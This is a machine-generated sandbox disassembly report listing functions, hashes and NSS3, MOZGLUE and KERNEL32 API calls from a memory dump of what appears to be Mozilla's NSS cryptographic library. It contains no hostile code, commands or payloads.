Opcode ID: 27396c1022dcae2a18d8ff6ba5fa8ec13ec85c49e833fe545f25162c4fa82015
Instruction ID: 9fdd67fd61b90ef502595fb62d2ccbdcc6cd0a6310e86d42ac2dbff9c1d5c17c
Opcode Fuzzy Hash: 27396c1022dcae2a18d8ff6ba5fa8ec13ec85c49e833fe545f25162c4fa82015
Instruction Fuzzy Hash: 6E012CB2600605ABDF00EFB5CC48867B7B8FA49262304053AE90AC3600D735F455CBA1

Function 6C6B2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6B3046

Part of subcall function 6C69EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C687FFB), ref: 6C6B312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B2E8B

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Part of subcall function 6C69F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C689BFF,?,00000000,00000000), ref: 6C69F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C687FFA), ref: 6C6B2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B317B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: e3e7b26f9a2da979b488b8004004e447a117ce84bd38392abba6319b987a9228
Instruction ID: f062803c9284058ce379f953f45796782cc4c51e69d587e34f6b1c423464298d
Opcode Fuzzy Hash: e3e7b26f9a2da979b488b8004004e447a117ce84bd38392abba6319b987a9228
Instruction Fuzzy Hash: 1AA1BE71A002189FDB24CF54CC84BEAB7B5EF49308F048199ED4967741E731AE95CFA5

Function 6C66A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f618825ca03880513d2e049e05118cc32149f9e2f122b3060190578441c35397
Instruction ID: 5993da98663a633c46b3babc4681f362a6c155346565feaf2f43d1cc0ed8855e
Opcode Fuzzy Hash: f618825ca03880513d2e049e05118cc32149f9e2f122b3060190578441c35397
Instruction Fuzzy Hash: 7B910A309041788BCB258E1AC8917DA77F69F4A31CF1841E9D59A97E03D7318D85CBDB

Function 6C67ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C67ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C67EDCE

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

free.MOZGLUE(00000000,?,?,?,?,6C67B04F), ref: 6C67EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C67EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67EEFB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 3a83eca3a5de0965364f3ecbb8f14e44e93b919f58e814d0b0f819ab51ef3f06
Instruction ID: 89d9f6a59fb5b18e5857f9b7a7bc568a1dddd4873a2db06567118ae52f66ee95
Opcode Fuzzy Hash: 3a83eca3a5de0965364f3ecbb8f14e44e93b919f58e814d0b0f819ab51ef3f06
Instruction Fuzzy Hash: E4817EB5A002059FEB24CF55DC84BAB77F5BF89308F144828E81597B51EB34E819CBB9

Function 6C67CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

PR_Now.NSS3 ref: 6C67CD35

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

Part of subcall function 6C666C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C3F

PR_GetCurrentThread.NSS3 ref: 6C67CD54

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

Part of subcall function 6C667260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611CCC,00000000,00000000,?,?), ref: 6C66729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C67CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C67CE2C

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C67CE40

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

Part of subcall function 6C67CEE0: PORT_ArenaMark_Util.NSS3(?,6C67CD93,?), ref: 6C67CEEE
Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C67CD93,?), ref: 6C67CEFC
Part of subcall function 6C67CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C67CD93,?), ref: 6C67CF0B
Part of subcall function 6C67CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C67CD93,?), ref: 6C67CF1D

Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF47
Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF67
Part of subcall function 6C67CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C67CD93,?,?,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF78

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: ba1ff680a0ca8a4d15ad97c9e936a78ccf38498b14a2a8555742fd7065535df2
Instruction ID: ff4b4e7019745f2b331fd74fcb8377aa66b52d418b6ef5079ebcc4b7e1814b2c
Opcode Fuzzy Hash: ba1ff680a0ca8a4d15ad97c9e936a78ccf38498b14a2a8555742fd7065535df2
Instruction Fuzzy Hash: 7E51C776A00504AFE730DF69DC40BEA77F4AF49348F250925D94697B40EB31E905CBA9

Function 6C598AE3 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 144stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C760148,BINARY), ref: 6C598B24

Strings

ydul, xrefs: 6C598B2E
BINARY, xrefs: 6C598B1E
,%s%s%s, xrefs: 6C598B5B
k(%d, xrefs: 6C598AF8
Vul, xrefs: 6C598F42

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strcmp
String ID: ,%s%s%s$BINARY$Vul$k(%d$ydul
API String ID: 1004003707-1627052876
Opcode ID: f58cf41892b5034376819bafbb7a3eed991987f1a5b1ba3027bab0180d69cf5c
Instruction ID: 991d106b5cd53075dbd479873b58de92bdc5aa735280d59b879c073b1c28d5b3
Opcode Fuzzy Hash: f58cf41892b5034376819bafbb7a3eed991987f1a5b1ba3027bab0180d69cf5c
Instruction Fuzzy Hash: 3F5180B46083809FD304CF15C984B6AB7E2FF85308F14899EE9998BB92D775EC45CB42

Function 6C676A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6C676ABF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: 78b19553e3443173ff7216bd93b82c9cd96ab1c8adccca684ac0a8cc0abd1598
Instruction ID: 1480d67f20ad3c544255a0aff30f5a9865e345fd6f20d33c8feacf380fa6fb08
Opcode Fuzzy Hash: 78b19553e3443173ff7216bd93b82c9cd96ab1c8adccca684ac0a8cc0abd1598
Instruction Fuzzy Hash: 8D5128B09017048FEB248F35D845B977BE4EB09318F104D6DE8AEC7A52E731E854CBA9

Function 6C64EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C64EF38

Part of subcall function 6C639520: PK11_IsLoggedIn.NSS3(00000000,?,6C66379E,?,00000001,?), ref: 6C639542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C64EF53

Part of subcall function 6C654C20: TlsGetValue.KERNEL32 ref: 6C654C4C
Part of subcall function 6C654C20: EnterCriticalSection.KERNEL32(?), ref: 6C654C60
Part of subcall function 6C654C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CA1
Part of subcall function 6C654C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C654CBE
Part of subcall function 6C654C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CD2
Part of subcall function 6C654C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D3A

PR_GetCurrentThread.NSS3 ref: 6C64EF9E

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

free.MOZGLUE(00000000), ref: 6C64EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64F016
free.MOZGLUE(00000000), ref: 6C64F022

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 7426778982e32305f9bcd1b49508ec7fb8e71030fc55b9fe83b28938bdb91c3e
Instruction ID: e8f4d42d81a54c1feff4f5244b133a2d07e0e24efb8274d8acfffd8e2934e709
Opcode Fuzzy Hash: 7426778982e32305f9bcd1b49508ec7fb8e71030fc55b9fe83b28938bdb91c3e
Instruction Fuzzy Hash: 8C41A371E00209AFDF018FA9DC45BEE7BB9AF49358F008025F914A7350EB72D9158BA9

Function 6C624860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624894

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6248CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6248DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6248FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C624912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C62494A

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: d81736119c1f3c68fe9aa1155d1a6f927abb3b510057dea8cd07b9e497573210
Instruction ID: 5b8fe2633c0beb187cf5ee3720f5a3e0870f66481f8ffbc7b4eafa2a0c314b57
Opcode Fuzzy Hash: d81736119c1f3c68fe9aa1155d1a6f927abb3b510057dea8cd07b9e497573210
Instruction Fuzzy Hash: 2C41AF70A18305ABE704CE6AD880BAA73E89F85358F10052CFA5597B41F7B8E904DB5B

Function 6C6A8AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6C696F38), ref: 6C6A8B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6C6A8B58
NSS_OptionGet.NSS3(00000009,?), ref: 6C6A8B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6C696F38), ref: 6C6A8BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6C6A8C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6C6A8C1A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: bca803e77e8df728611ce64f6884289ff3fce6b09b058ee4452e502795cddbf3
Instruction ID: 4c36397c3533dbcd52abc338ab45902213e62b87984fcc631e840923e242a3f4
Opcode Fuzzy Hash: bca803e77e8df728611ce64f6884289ff3fce6b09b058ee4452e502795cddbf3
Instruction Fuzzy Hash: B7412661B0129997EF01DBD5CC813EE36B5EB49308F844432C94AD7691E3256E468BAE

Function 6C63CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C63CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C63D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C63D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63D025
PR_NewLock.NSS3 ref: 6C63D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C63D074

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0451d647a5bc8e318614a0dbf49d5359208234226bf70824feebee3d6dea774
Instruction ID: 225c96cf46faebeeb01a36aa3f2024e504c93612530a7023c118219b624316be
Opcode Fuzzy Hash: e0451d647a5bc8e318614a0dbf49d5359208234226bf70824feebee3d6dea774
Instruction Fuzzy Hash: 5741C3B0A013219FDB10DF29C88079A7BE4EF09758F11716AEC1D8BB46D778D485CBA9

Function 6C678810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6C6786AA), ref: 6C678851

Part of subcall function 6C671340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67136A
Part of subcall function 6C671340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67137E
Part of subcall function 6C671340: PL_ArenaGrow.NSS3(?,6C60F599,?,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?), ref: 6C6713CF
Part of subcall function 6C671340: PR_Unlock.NSS3(?,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6C6786AA), ref: 6C67886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6C678890
PR_GetCurrentThread.NSS3 ref: 6C67891C
PR_GetCurrentThread.NSS3 ref: 6C678937

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 48fbafd9fa88029ea8741178f8784975ebeed03adc121ecd5e06e99bed6221f6
Instruction ID: 624bc6fe763bdfe8849db405455d8f22df1e24bb7cb85225a03074515af4f66b
Opcode Fuzzy Hash: 48fbafd9fa88029ea8741178f8784975ebeed03adc121ecd5e06e99bed6221f6
Instruction Fuzzy Hash: 6F41AAB47012029FE714CF29C894B92B7A4FF49318F104669D81C9B761EB72ED64CBE5

Function 6C622E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C612D1A), ref: 6C622E7E

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

PR_Now.NSS3 ref: 6C622EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C622EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C612D1A), ref: 6C622F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C612D1A), ref: 6C622F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C622F81

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 645d840057fde4ee2d56039c8dde5023af7fd46a2420b0f4a534fc296291a38f
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 0D31457156114087E720C615CC48BEE7365EF81338F644979D12987ED0EB399846CE2E

Function 6C610E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C610A2C), ref: 6C610E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C610A2C), ref: 6C610E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C610A2C), ref: 6C610E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C610A2C), ref: 6C610E90
free.MOZGLUE(00000000), ref: 6C610EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C610A2C), ref: 6C610ED9

Memory Dump Source

